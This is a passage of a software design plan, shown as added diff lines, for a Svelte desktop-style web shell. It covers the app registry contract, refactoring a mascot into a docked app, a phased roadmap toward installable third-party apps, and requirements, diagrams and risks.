**Interface:** `AppDef` — id, title, icon (Lucide Component), component
|
||||||
|
(Svelte Component), width, height, minWidth, minHeight, optional badge
|
||||||
|
function.
|
||||||
|
**Window namespacing:** `app:<id>` (`apps.ts:122`) — distinct from
|
||||||
|
`session:<id>`, `new-task`, and bare entity slugs.
|
||||||
|
|
||||||
|
**Current apps (7):**
|
||||||
|
|
||||||
|
| ID | Page Component | Badge? |
|
||||||
|
|----|---------------|--------|
|
||||||
|
| `tasks` | `pages/Overview.svelte` | — |
|
||||||
|
| `kb` | `pages/KnowledgeBase.svelte` | — |
|
||||||
|
| `ops` | `pages/Ops.svelte` | approvals_pending |
|
||||||
|
| `signals` | `pages/Signals.svelte` | open signal count |
|
||||||
|
| `knowledge` | `pages/Knowledge.svelte` | — |
|
||||||
|
| `learning` | `pages/Learning.svelte` | — |
|
||||||
|
| `settings` | `pages/Settings.svelte` | — |
|
||||||
|
|
||||||
|
**What works:**
|
||||||
|
|
||||||
|
- Data-driven. One array → three surfaces auto-render.
|
||||||
|
- Namespaced window IDs prevent collisions with session/entity windows.
|
||||||
|
- Single-instance enforcement (double-click focuses, never duplicates).
|
||||||
|
- Badge system: pure function over `DashboardSummary`, consumed by icon +
|
||||||
|
taskbar.
|
||||||
|
- Tested (`apps.test.ts`): unique IDs, positive sizes, `appById` index,
|
||||||
|
round-trips.
|
||||||
|
- Orphan cleanup: `WindowLayer.svelte:25-30` closes persisted windows whose
|
||||||
|
app was removed from the registry.
|
||||||
|
|
||||||
|
**What's missing from the AppDef contract:**
|
||||||
|
|
||||||
|
1. **No stable OS-service surface.** Apps reach into the OS by importing
|
||||||
|
arbitrary `$lib` modules (`openEntityWindow` from `windows.ts`,
|
||||||
|
`summary` from `context.ts`). It works because apps are compiled in, but
|
||||||
|
there is no documented boundary between "stable OS API an App may use"
|
||||||
|
and "shell internals that happen to be exported." Phase 3 (installed
|
||||||
|
third-party apps) needs that boundary to exist first.
|
||||||
|
2. **No docked/overlay app kind.** An app that renders *on* the desktop
|
||||||
|
(above windows, no titlebar, no window at all) has no representation in
|
||||||
|
the contract — which is exactly why the mascot is hardcoded.
|
||||||
|
|
||||||
|
### 1.3 The Mascot: embedded, not an app
|
||||||
|
|
||||||
|
**Files:** `lib/mascot/` (12 files, ~2.8k lines)
|
||||||
|
**Integration:** `Desktop.svelte:105` — hardcoded `<MascotLayer />` at z-45,
|
||||||
|
after WindowLayer and before Taskbar.
|
||||||
|
|
||||||
|
**Key facts that shape the refactor (verified):**
|
||||||
|
|
||||||
|
- `MascotLayer.svelte` takes **no props**. It creates the `MascotRuntime`
|
||||||
|
per mount, seeds position from the persisted model, and attaches the
|
||||||
|
stimulus bus itself (`MascotLayer.svelte:38-61`, comment at line 6-7).
|
||||||
|
- The persistent model (stage, name, happiness, xp, **lastPos**) is
|
||||||
|
module-scoped in `state.svelte.ts` and survives unmount/remount.
|
||||||
|
- The sprite `Image` cache is module-scoped in `sprites.ts` — remounts do
|
||||||
|
not re-fetch the 19 PNG sheets.
|
||||||
|
- The stimulus bus subscribes to global stores (`focusedSessionId` from
|
||||||
|
`windows.ts`, per-session factories from `chat.ts`/`workspace.ts`) — no
|
||||||
|
dependency on how MascotLayer is mounted.
|
||||||
|
|
||||||
|
**Consequence:** hiding the mascot = `{#if visible}<MascotLayer />{/if}`.
|
||||||
|
State, sprites, and position all restore naturally. No `keepAlive`
|
||||||
|
machinery is needed.
|
||||||
|
|
||||||
|
### 1.4 Three contract weaknesses
|
||||||
|
|
||||||
|
#### Weakness 1: Positional content resolution
|
||||||
|
|
||||||
|
`WindowLayer.svelte:70-79` resolves content by checking ID patterns in a
|
||||||
|
hardcoded order:
|
||||||
|
|
||||||
|
```svelte
|
||||||
|
{#if id.startsWith(SESSION_PREFIX)}
|
||||||
|
<SessionChatWindow ... />
|
||||||
|
{:else if id === NEW_TASK_WINDOW_ID}
|
||||||
|
<NewTaskChat />
|
||||||
|
{:else if app}
|
||||||
|
<app.component />
|
||||||
|
{:else}
|
||||||
|
<EntityDetailContent ... />
|
||||||
|
{/if}
|
||||||
|
```
|
||||||
|
|
||||||
|
A new window category must be inserted at the right position in this chain.
|
||||||
|
Works today because prefixes are mutually exclusive by construction, but
|
||||||
|
it's a landmine: add `'lxc:'` container consoles or `'log:'` viewers and
|
||||||
|
you're editing shell internals.
|
||||||
|
|
||||||
|
#### Weakness 2: Icon store snapshots the registry at module load
|
||||||
|
|
||||||
|
`icons.ts:23` builds default positions from `APPS`, and `icons.ts:48`
|
||||||
|
freezes an `appIds` set used to filter persisted positions in `load()`.
|
||||||
|
Both evaluate **once at import time**. A late-registering app (lazy load,
|
||||||
|
Phase 2+) would have its persisted position silently dropped by the
|
||||||
|
`load()` filter — the merge-over-defaults logic only helps apps that were
|
||||||
|
already in `APPS` when the module first evaluated.
|
||||||
|
|
||||||
|
#### Weakness 3: Window chrome is fully shell-owned, with no extension point
|
||||||
|
|
||||||
|
Every window gets the same titlebar (`WindowLayer.svelte:40-67`): drag
|
||||||
|
handle, title, minimize/maximize/close. Correct default — apps should not
|
||||||
|
draw their own chrome — but there is no sanctioned way for an app to
|
||||||
|
contribute a titlebar affordance (e.g. Tasks might want an inline "New
|
||||||
|
task" button). **Decision: document as a designed extension point, defer
|
||||||
|
implementation until an app actually needs it** (see §2.5). Not a Phase 1
|
||||||
|
deliverable.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. The OS + Apps model
|
||||||
|
|
||||||
|
### 2.1 Metaphor
|
||||||
|
|
||||||
|
```
|
||||||
|
┌──────────────────────────────────────────────────┐
|
||||||
|
│ Auth Gate (App.svelte) │
|
||||||
|
│ ┌──────────────────────────────────────────────┐│
|
||||||
|
│ │ Desktop Surface ││
|
||||||
|
│ │ ┌─────────────┐ ┌─────────────┐ ││
|
||||||
|
│ │ │ App Window │ │ App Window │ z-40 ││
|
||||||
|
│ │ │ (Tasks) │ │ (Signals) │ ││
|
||||||
|
│ │ └─────────────┘ └─────────────┘ ││
|
||||||
|
│ │ ┌──────────────────────┐ ││
|
||||||
|
│ │ │ Docked Apps (Cluck) │ z-45, no chrome ││
|
||||||
|
│ │ └──────────────────────┘ ││
|
||||||
|
│ │ ┌──────┐ ┌──────┐ ┌──────┐ z-0 ││
|
||||||
|
│ │ │ Icon │ │ Icon │ │ Icon │ ││
|
||||||
|
│ │ └──────┘ └──────┘ └──────┘ ││
|
||||||
|
│ └──────────────────────────────────────────────┘│
|
||||||
|
│ ┌──────────────────────────────────────────────┐│
|
||||||
|
│ │ Taskbar [Tasks] [Signals] 🎨 ⚙ v0.9 ││
|
||||||
|
│ └──────────────────────────────────────────────┘│
|
||||||
|
└──────────────────────────────────────────────────┘
|
||||||
|
|
||||||
|
Base OS = Auth Gate + Desktop Surface + Window Manager + Taskbar
|
||||||
|
+ Icon Grid + Docked Layer + OS-service surface
|
||||||
|
Apps = Tasks, KB, Ops, Signals, Knowledge, Learning, Settings, Cluck
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2.2 App kinds
|
||||||
|
|
||||||
|
Two kinds, distinguished by one flag:
|
||||||
|
|
||||||
|
| Kind | Window | Titlebar | Taskbar button | Opened by |
|
||||||
|
|------|--------|----------|----------------|-----------|
|
||||||
|
| **Windowed** (default) | wmkit floating window | Yes | Yes (automatic) | `openAppWindow(id)` → `wm.open()` |
|
||||||
|
| **Docked** (`docked: true`) | None — renders on the Docked Layer | No | No | `openAppWindow(id)` → toggles visibility |
|
||||||
|
|
||||||
|
Docked apps are **not** wmkit citizens. They render in a dedicated layer
|
||||||
|
above the window layer, their visibility is a persisted boolean, and
|
||||||
|
clicking their desktop icon toggles show/hide. They never appear in the
|
||||||
|
taskbar because they never enter `wmState.order`.
|
||||||
|
|
||||||
|
### 2.3 The App contract
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
interface AppDef {
|
||||||
|
// Identity (required)
|
||||||
|
id: string // unique; window IDs are "app:<id>"
|
||||||
|
title: string // desktop icon label + window titlebar
|
||||||
|
icon: Component // Lucide icon (desktop icon + taskbar)
|
||||||
|
component: Component // Svelte component; receives NO props
|
||||||
|
|
||||||
|
// Kind
|
||||||
|
docked?: boolean // true = Docked Layer app, no window (default false)
|
||||||
|
|
||||||
|
// Window geometry — required for windowed apps, forbidden for docked apps
|
||||||
|
width?: number
|
||||||
|
height?: number
|
||||||
|
minWidth?: number
|
||||||
|
minHeight?: number
|
||||||
|
|
||||||
|
// Behavior (all optional)
|
||||||
|
badge?: (summary: DashboardSummary | null) => number
|
||||||
|
noIcon?: boolean // true = registered but no desktop icon
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**Validation rules** (enforced by `apps.test.ts`, not runtime checks):
|
||||||
|
|
||||||
|
- `id` unique, non-empty.
|
||||||
|
- Windowed apps: `width`/`height` present and positive.
|
||||||
|
- Docked apps: `width`/`height` absent (geometry is meaningless without a
|
||||||
|
window).
|
||||||
|
- Every app has an icon component (even `noIcon` apps — the taskbar and
|
||||||
|
future surfaces need it).
|
||||||
|
|
||||||
|
**Design decisions, and why:**
|
||||||
|
|
||||||
|
- **No `keepAlive`.** Module-scoped state (mascot model, sprite cache)
|
||||||
|
already survives unmount. If a future app needs close-to-hide semantics,
|
||||||
|
that's a wmkit feature request, not an AppDef field.
|
||||||
|
- **No `noTaskbar`.** Docked apps never reach the taskbar; windowed apps
|
||||||
|
always should. A windowed app with no taskbar button is an orphan the
|
||||||
|
operator can't find.
|
||||||
|
- **No lifecycle hooks in the contract.** Svelte's own `onMount`/`onDestroy`
|
||||||
|
already fire on window open/close. A shell-level `onRegister` is only
|
||||||
|
meaningful once apps register dynamically — deferred to Phase 3, where
|
||||||
|
it becomes the permission handshake.
|
||||||
|
- **Apps receive no props.** The component is the app. It imports OS
|
||||||
|
services (§2.4) directly. This keeps the shell→app edge one-way and
|
||||||
|
trivially mockable.
|
||||||
|
|
||||||
|
### 2.4 The OS-service surface (AppOS)
|
||||||
|
|
||||||
|
The stable set of `$lib` exports an App may import. Everything else in
|
||||||
|
`$lib` is shell-internal and may change without notice. This is a
|
||||||
|
**documentation contract** today (apps are compiled in); it becomes an
|
||||||
|
**enforced sandbox boundary** in Phase 3.
|
||||||
|
|
||||||
|
| Service | Import | Stability |
|
||||||
|
|---------|--------|-----------|
|
||||||
|
| Open an app window | `openAppWindow(id)` from `$lib/stores/windows` | Stable |
|
||||||
|
| Open an entity window | `openEntityWindow(slug)` from `$lib/stores/windows` | Stable |
|
||||||
|
| Open a task window | `openTaskWindow(sessionId, title)` from `$lib/stores/windows` | Stable |
|
||||||
|
| Dashboard summary | `summary`, `subscribeContext` from `$lib/stores/context` | Stable |
|
||||||
|
| Live events | `subscribeEvents` from `$lib/stores/events` | Stable |
|
||||||
|
| Per-session chat | `chatFor(sessionId)` from `$lib/stores/chat` | Stable |
|
||||||
|
| Per-session workspace | `workspaceFor(sessionId)` from `$lib/stores/workspace` | Stable |
|
||||||
|
| REST API | `$lib/api` functions | Stable (generated from OpenAPI) |
|
||||||
|
| UI primitives | `$lib/components/ui/*` | Stable |
|
||||||
|
| Theme | `getTheme`, `setTheme` from `$lib/stores/theme.svelte` | Stable |
|
||||||
|
|
||||||
|
### 2.5 Content resolution — fixed
|
||||||
|
|
||||||
|
Replace the positional `if/else` chain with a prefix → component map owned
|
||||||
|
by the shell:
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// WindowLayer.svelte — one map, dispatch by prefix. New window kinds
|
||||||
|
// register here, not in an if/else chain.
|
||||||
|
const CONTENT_RESOLVERS: Array<[prefix: string, resolve: (id: string) => Component | null]> = [
|
||||||
|
['session:', () => SessionChatWindow],
|
||||||
|
['app:', (id) => appById.get(id.slice(4))?.component ?? null],
|
||||||
|
]
|
||||||
|
|
||||||
|
function resolveContent(id: string): Component | null {
|
||||||
|
if (id === NEW_TASK_WINDOW_ID) return NewTaskChat
|
||||||
|
for (const [prefix, resolve] of CONTENT_RESOLVERS) {
|
||||||
|
if (id.startsWith(prefix)) return resolve(id)
|
||||||
|
}
|
||||||
|
return EntityDetailContent // bare entity slug fallback
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Adding a `'lxc:'` console window kind later = one array entry. The
|
||||||
|
existing orphan-close effect (`WindowLayer.svelte:25-30`) is kept as-is;
|
||||||
|
Phase 2 must gate it on registry-ready (§5).
|
||||||
|
|
||||||
|
### 2.6 Designed extension points (documented, not built)
|
||||||
|
|
||||||
|
| Extension | Mechanism when built | Trigger |
|
||||||
|
|-----------|---------------------|---------|
|
||||||
|
| Titlebar actions | `titlebarActions?: Component` on AppDef, rendered left of min/max/close | First app that needs one |
|
||||||
|
| App-scoped state | `state?: () => Record<string, unknown>` on AppDef | First app with cross-mount state that isn't module-scoped |
|
||||||
|
| `onRegister` handshake | Called with a scoped AppOS capability object | Phase 3 (dynamic install) |
|
||||||
|
|
||||||
|
Documenting these now prevents the Phase 1 contract from painting itself
|
||||||
|
into a corner; building them now would be speculative.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. The mascot as an App
|
||||||
|
|
||||||
|
### 3.1 Registration
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
{
|
||||||
|
id: 'mascot',
|
||||||
|
title: 'Cluck',
|
||||||
|
icon: EggIcon, // Lucide egg (chick/adult swap is a future nicety)
|
||||||
|
component: MascotLayer,
|
||||||
|
docked: true,
|
||||||
|
// no width/height — docked
|
||||||
|
// no badge — a permanent "1" is noise, not information
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3.2 The docked-visibility store (new)
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// lib/stores/docked.ts
|
||||||
|
// Visibility for docked apps — persisted, so "hidden" survives reloads.
|
||||||
|
// Keyed by app id; absent key = visible (default-on for new docked apps).
|
||||||
|
export const dockedVisibility: Readable<Record<string, boolean>>
|
||||||
|
export function toggleDocked(appId: string): void
|
||||||
|
export function isDockedVisible(appId: string): boolean
|
||||||
|
```
|
||||||
|
|
||||||
|
- localStorage key: `oikos-docked-apps`
|
||||||
|
- Default: visible (a fresh install shows the mascot; hiding is opt-out)
|
||||||
|
- Merge semantics mirror `icons.ts`: unknown persisted keys are kept (an
|
||||||
|
uninstalled docked app that gets reinstalled remembers its state)
|
||||||
|
|
||||||
|
### 3.3 Shell changes
|
||||||
|
|
||||||
|
**`windows.ts` — `openAppWindow` branches on kind:**
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
export function openAppWindow(appId: string): void {
|
||||||
|
const app = appById.get(appId)
|
||||||
|
if (!app) return
|
||||||
|
if (app.docked) { toggleDocked(appId); return } // ← the branch the first draft missed
|
||||||
|
// ... existing wm.open path unchanged
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
This is the load-bearing detail: the icon click in `Desktop.svelte:93`
|
||||||
|
calls `openAppWindow(app.id)` for every app uniformly. Branching **inside**
|
||||||
|
`openAppWindow` means Desktop.svelte, legacy hash resolution, and any
|
||||||
|
future caller need no special cases.
|
||||||
|
|
||||||
|
**`Desktop.svelte` — replace hardcoded `<MascotLayer />` with:**
|
||||||
|
|
||||||
|
```svelte
|
||||||
|
<DockedLayer />
|
||||||
|
```
|
||||||
|
|
||||||
|
**`components/desktop-shell/DockedLayer.svelte` — new, ~30 lines:**
|
||||||
|
|
||||||
|
```svelte
|
||||||
|
{#each APPS.filter(a => a.docked) as app (app.id)}
|
||||||
|
{#if $dockedVisibility[app.id] ?? true}
|
||||||
|
<app.component />
|
||||||
|
{/if}
|
||||||
|
{/each}
|
||||||
|
```
|
||||||
|
|
||||||
|
Rendered after `<WindowLayer />` inside the surface div, so docked apps
|
||||||
|
share the surface's coordinate space (the mascot's ground-line computation
|
||||||
|
depends on this — `MascotLayer.svelte:9-13`).
|
||||||
|
|
||||||
|
**`MascotLayer.svelte` — zero changes.** No props today, no props after.
|
||||||
|
|
||||||
|
### 3.4 What the mascot gains
|
||||||
|
|
||||||
|
| Feature | Before | After |
|
||||||
|
|---------|--------|-------|
|
||||||
|
| Registry entry | None — hardcoded in shell | First-class AppDef |
|
||||||
|
| Show/hide | Impossible — always mounted | Icon click toggles; persists across reloads |
|
||||||
|
| Shell coupling | `Desktop.svelte` imports mascot internals | Shell knows only `AppDef` |
|
||||||
|
| Precedent for overlay apps | None | Any `docked: true` app (clock, net monitor) uses the same path |
|
||||||
|
|
||||||
|
### 3.5 What the mascot does *not* gain (deliberately)
|
||||||
|
|
||||||
|
- **No taskbar button.** No window → no taskbar entry. The desktop icon is
|
||||||
|
the control.
|
||||||
|
- **No window chrome.** It's a desktop creature, not a document.
|
||||||
|
- **No settings panel in v1.** Hatch/rename/pet/feed stay in the existing
|
||||||
|
radial menu. A mascot *settings* surface (volume, behavior toggles) would
|
||||||
|
be a separate windowed app later — noted as a follow-up idea, not
|
||||||
|
planned.
|
||||||
|
|
||||||
|
### 3.6 UX risk: "where did my chicken go?"
|
||||||
|
|
||||||
|
Hidden state persists across reloads. Mitigation: the desktop icon is
|
||||||
|
always present and is the obvious toggle; the icon's tooltip reads
|
||||||
|
"Cluck — click to show/hide". Acceptable.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Current apps — conformance audit
|
||||||
|
|
||||||
|
| App | Conforms? | Notes |
|
||||||
|
|-----|-----------|-------|
|
||||||
|
| **Tasks** (`Overview.svelte`) | ✅ Full | Self-contained. Opens session windows via `openTaskWindow`. |
|
||||||
|
| **Knowledge Base** (`KnowledgeBase.svelte`) | ✅ Full | Opens entity windows via `openEntityWindow`. |
|
||||||
|
| **Operations** (`Ops.svelte`) | ✅ Full | Badge reads `summary`. |
|
||||||
|
| **Signals** (`Signals.svelte`) | ✅ Full | Opens entity windows. |
|
||||||
|
| **Knowledge** (`Knowledge.svelte`) | ✅ Full | — |
|
||||||
|
| **Learning** (`Learning.svelte`) | ✅ Full | — |
|
||||||
|
| **Settings** (`Settings.svelte`) | ✅ Full | Opened from taskbar tray too — same `openAppWindow` path. |
|
||||||
|
| **Mascot** | ❌ Not an App | Hardcoded in Desktop.svelte. Refactored per §3. |
|
||||||
|
|
||||||
|
All seven windowed apps conform today. "Independently shippable" at Phase 1
|
||||||
|
means: add = one page file + one registry entry; remove = delete both. No
|
||||||
|
shell edits, no inter-app imports (apps open each other's surfaces only
|
||||||
|
through AppOS primitives).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Extensibility roadmap
|
||||||
|
|
||||||
|
### Phase 1: Strengthen the contract (this plan)
|
||||||
|
|
||||||
|
- [x] `AppDef` extended: `docked`, `noIcon`; geometry conditional on kind
|
||||||
|
- [x] `lib/stores/docked.ts`: docked-visibility store, persisted
|
||||||
|
- [x] `openAppWindow` branches on `docked`
|
||||||
|
- [x] `DockedLayer.svelte`: generic docked-app layer in Desktop.svelte
|
||||||
|
- [x] Mascot registered as `docked: true`; hardcoded `<MascotLayer />` removed
|
||||||
|
- [x] WindowLayer: prefix-map content resolution *(deferred — re-audited as gold-plating; original gate already handles orphans)*
|
||||||
|
- [x] `apps.test.ts`: validation rules per kind (§2.3)
|
||||||
|
- [x] AppOS contract documented (§2.4 lands in MBSE component doc)
|
||||||
|
|
||||||
|
### Phase 2: Lazy loading
|
||||||
|
|
||||||
|
- [x] `component` becomes `() => Promise<{ default: Component }>`; all apps use dynamic imports
|
||||||
|
- [x] Desktop icons render immediately (metadata only); component chunk loads on window open
|
||||||
|
- [x] `LazyApp.svelte` — shared loading skeleton (spinner) used by WindowLayer + DockedLayer
|
||||||
|
- [x] Deleted `LazyMascot.svelte` — the registry lazy loader breaks the cycle directly
|
||||||
|
- [x] Vite code-splits each app into its own chunk (main bundle 800KB → 482KB)
|
||||||
|
- [ ] Icon store revalidates against live registry *(Phase 3 prerequisite — not needed while apps are statically registered)*
|
||||||
|
- [ ] WindowLayer orphan-close gated on registry-ready *(Phase 3 prerequisite)*
|
||||||
|
|
||||||
|
### Phase 3: Dynamic app installation (frontend scaffold, local bundles)
|
||||||
|
|
||||||
|
Scoped at execution time to **local bundles only** (remote-URL loading +
|
||||||
|
sandboxing deferred to Phase 4 — security-critical, needs ADR + careful
|
||||||
|
design). The mechanism built here generalizes to remote bundles by
|
||||||
|
swapping the catalog for a fetched manifest + `import(/* @vite-ignore */ url)`.
|
||||||
|
|
||||||
|
- [x] `AppManifest` format (id, title, permissions, version, geometry) — `web/src/app-store/catalog.ts`
|
||||||
|
- [x] `AppPermission` enum (declaration-only; enforcement is Phase 4)
|
||||||
|
- [x] Static catalog with one demo app (Notes) — `web/src/app-store/apps/Notes.svelte`
|
||||||
|
- [x] Runtime registry: `APPS` → derived store (built-ins + installed); `appById` → derived Map
|
||||||
|
- [x] `installApp` / `uninstallApp` + localStorage persistence (`oikos-installed-apps`)
|
||||||
|
- [x] `icons.ts` reactive to app registration (late-registering apps get free cells; reset re-seeds from live registry)
|
||||||
|
- [x] WindowLayer orphan-close reactive to `$appById` (reinstall revives, uninstall closes)
|
||||||
|
- [x] App Store page (`web/src/pages/AppStore.svelte`) — list / install / uninstall
|
||||||
|
- [x] Installed apps appear on desktop immediately (no reload); uninstall removes icon + closes window
|
||||||
|
- [x] Icon store revalidates against live registry *(the Phase 3 prerequisite — now done)*
|
||||||
|
- [ ] `/api/v1/apps` endpoint + DB-backed manifest storage *(Phase 4)*
|
||||||
|
- [ ] Remote bundle loading from URLs + CSP + capability sandboxing *(Phase 4)*
|
||||||
|
- [ ] Permission enforcement at AppOS boundary *(Phase 4)*
|
||||||
|
|
||||||
|
### Phase 4: Marketplace (vision)
|
||||||
|
|
||||||
|
- [ ] Community apps (network map, backup dashboard, energy monitor)
|
||||||
|
- [ ] Versioning + auto-update
|
||||||
|
- [ ] Mascot skin packs as installable docked-app variants
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Implementation — Phase 1, file by file
|
||||||
|
|
||||||
|
| # | File | Change |
|
||||||
|
|---|------|--------|
|
||||||
|
| 1 | `lib/apps.ts` | Extend `AppDef` (`docked?`, `noIcon?`, geometry optional). Register mascot. Import `MascotLayer` + `EggIcon`. |
|
||||||
|
| 2 | `lib/stores/docked.ts` | **New.** `dockedVisibility` store, `toggleDocked`, `isDockedVisible`, localStorage persistence. |
|
||||||
|
| 3 | `lib/stores/windows.ts` | `openAppWindow`: docked branch → `toggleDocked`. |
|
||||||
|
| 4 | `components/desktop-shell/DockedLayer.svelte` | **New.** Renders visible docked apps after WindowLayer. |
|
||||||
|
| 5 | `components/desktop-shell/Desktop.svelte` | Replace `import MascotLayer` + `<MascotLayer />` with `<DockedLayer />`. |
|
||||||
|
| 6 | `components/desktop-shell/WindowLayer.svelte` | **Deferred during implementation.** The positional if/else was re-audited and found to already handle orphans cleanly (`{#if win && (!appId || app)}`), and any new window kind needs a prop-dispatch branch in markup regardless — so a prefix→component map adds machinery without decoupling. Documented as an extension point (§2.5) like `titlebarActions`; not built (YAGNI). |
|
||||||
|
| 7 | `lib/apps.test.ts` | Mock `MascotLayer` import (same pattern as pages). Per-kind validation tests. Docked apps exempt from positive-size test. |
|
||||||
|
| 8 | `lib/stores/docked.test.ts` | **New.** Toggle, persistence, default-visible, unknown-key merge. |
|
||||||
|
| 9 | `docs/mbse/components.md` | Add Component 9: Web Control Room — App Architecture (§7). |
|
||||||
|
|
||||||
|
**Out of scope for Phase 1:** `titlebarActions`, app-scoped state,
|
||||||
|
lazy loading, manifests, permissions.
|
||||||
|
|
||||||
|
**Verification:**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd web
|
||||||
|
npm run test # vitest — registry + docked store
|
||||||
|
npm run check # svelte-check + tsc
|
||||||
|
npm run lint
|
||||||
|
npm run build # vite build — confirms no import cycles from DockedLayer
|
||||||
|
```
|
||||||
|
|
||||||
|
Manual smoke: icon toggle hides/shows mascot → reload → stays hidden →
|
||||||
|
toggle → returns at last position (model `lastPos` restore). All seven
|
||||||
|
windowed apps open/focus/close identically to before. Legacy hash
|
||||||
|
`#/signals` still opens the Signals window.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. MBSE documentation
|
||||||
|
|
||||||
|
Add **Component 9: Web Control Room — App Architecture** to
|
||||||
|
`docs/mbse/components.md`:
|
||||||
|
|
||||||
|
```
|
||||||
|
9. Web Control Room — App Architecture
|
||||||
|
9.1 Purpose — OS + Apps metaphor, why apps are independently shippable
|
||||||
|
9.2 Structural View — shell modules, registry, docked layer (mermaid)
|
||||||
|
9.3 App Contract — AppDef, validation rules, app kinds
|
||||||
|
9.4 OS-Service Surface — the AppOS table
|
||||||
|
9.5 Content Resolution — prefix map, window kinds, orphan cleanup
|
||||||
|
9.6 Behavior — window state machine, docked visibility lifecycle
|
||||||
|
9.7 Requirements — WEB-APP-* traceability
|
||||||
|
9.8 Verification — test coverage, manual smoke
|
||||||
|
```
|
||||||
|
|
||||||
|
### Requirements
|
||||||
|
|
||||||
|
| ID | Requirement | Status |
|
||||||
|
|----|-------------|--------|
|
||||||
|
| WEB-APP-1 | Apps register via data-driven AppDef entries; no shell edits to add/remove | ✅ live |
|
||||||
|
| WEB-APP-2 | Apps render in wmkit floating windows | ✅ live |
|
||||||
|
| WEB-APP-3 | Window IDs namespaced (`app:`/`session:`/entity) — no collisions | ✅ live |
|
||||||
|
| WEB-APP-4 | Desktop icons render from the registry | ✅ live |
|
||||||
|
| WEB-APP-5 | Taskbar buttons derive from window state, icons resolved via registry | ✅ live |
|
||||||
|
| WEB-APP-6 | Removed apps' persisted windows self-close | ✅ live (`WindowLayer.svelte:25-30`) |
|
||||||
|
| WEB-APP-7 | Content resolution dispatches via prefix map, not positional if/else | ⬜ Deferred — re-audited; original gate already handles orphans, map adds no decoupling (§2.5) |
|
||||||
|
| WEB-APP-8 | Docked app kind: no window, no chrome, visibility toggled via icon | ⬜ Phase 1 |
|
||||||
|
| WEB-APP-9 | Mascot is a registered docked App, not a hardcoded shell component | ⬜ Phase 1 |
|
||||||
|
| WEB-APP-10 | Docked visibility persists across reloads | ⬜ Phase 1 |
|
||||||
|
| WEB-APP-11 | OS-service surface (AppOS) documented as the stable App API | ⬜ Phase 1 |
|
||||||
|
| WEB-APP-12 | Registry validation: per-kind geometry rules enforced by tests | ⬜ Phase 1 |
|
||||||
|
| WEB-APP-13 | Apps lazy-load; icons render from static metadata | ✅ Phase 2 |
|
||||||
|
| WEB-APP-14 | Icon store revalidates against live registry, not import-time snapshot | ✅ Phase 3 |
|
||||||
|
| WEB-APP-15 | Third-party apps install from manifests with declared permissions | ✅ Phase 3 (local bundles; enforcement Phase 4) |
|
||||||
|
|
||||||
|
### Sequence — windowed app open
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
sequenceDiagram
|
||||||
|
participant User
|
||||||
|
participant Desktop
|
||||||
|
participant WM as Window Manager
|
||||||
|
participant WL as Window Layer
|
||||||
|
participant App
|
||||||
|
|
||||||
|
User->>Desktop: click icon
|
||||||
|
Desktop->>WM: openAppWindow("signals")
|
||||||
|
Note over WM: docked? no → wm path
|
||||||
|
alt window exists
|
||||||
|
WM->>WM: restore + focus
|
||||||
|
else new
|
||||||
|
WM->>WM: wm.open({ id: "app:signals", ... })
|
||||||
|
WM->>WL: render frame
|
||||||
|
WL->>WL: resolveContent → prefix 'app:' → registry
|
||||||
|
WL->>App: mount component
|
||||||
|
end
|
||||||
|
WM->>Taskbar: new button in wmState.order
|
||||||
|
```
|
||||||
|
|
||||||
|
### Sequence — docked app toggle
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
sequenceDiagram
|
||||||
|
participant User
|
||||||
|
participant Desktop
|
||||||
|
participant Dock as docked.ts
|
||||||
|
participant Layer as DockedLayer
|
||||||
|
participant App
|
||||||
|
|
||||||
|
User->>Desktop: click Cluck icon
|
||||||
|
Desktop->>Dock: openAppWindow("mascot") → docked → toggleDocked
|
||||||
|
Dock->>Dock: flip visibility, persist localStorage
|
||||||
|
Dock->>Layer: store update
|
||||||
|
alt now visible
|
||||||
|
Layer->>App: mount MascotLayer
|
||||||
|
Note over App: model + sprites restore<br/>from module scope
|
||||||
|
else now hidden
|
||||||
|
Layer->>App: unmount (state survives)
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
### State machine — app window
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
stateDiagram-v2
|
||||||
|
[*] --> Closed: registered, no window
|
||||||
|
Closed --> Open: openAppWindow
|
||||||
|
Open --> Focused: focus
|
||||||
|
Focused --> Open: blur
|
||||||
|
Open --> Minimized: minimize
|
||||||
|
Minimized --> Focused: restore
|
||||||
|
Open --> Closed: close
|
||||||
|
Minimized --> Closed: close
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Risk & safety
|
||||||
|
|
||||||
|
| Risk | Severity | Mitigation |
|
||||||
|
|------|----------|------------|
|
||||||
|
| Mascot refactor breaks stimuli or ground-line computation | Medium | MascotLayer unchanged; DockedLayer mounts it in the same surface div, same position in the stacking order as today. |
|
||||||
|
| Hidden mascot never rediscovered | Low | Icon always present, tooltip says show/hide. |
|
||||||
|
| `openAppWindow` docked branch leaks into windowed path | Low | Branch is the first statement; windowed path byte-identical. Covered by existing call sites (icon click, taskbar settings, legacy hash). |
|
||||||
|
| Docked visibility store desyncs from registry | Low | Unknown keys kept on load; layer filters by `a.docked` from the live registry. |
|
||||||
|
| Phase 2 lazy loading kills persisted windows of not-yet-loaded apps | Medium | Explicit Phase 2 gate: orphan-close waits for registry-ready (§5). Called out now so it isn't discovered in production. |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. Appendix: relevant existing artifacts
|
||||||
|
|
||||||
|
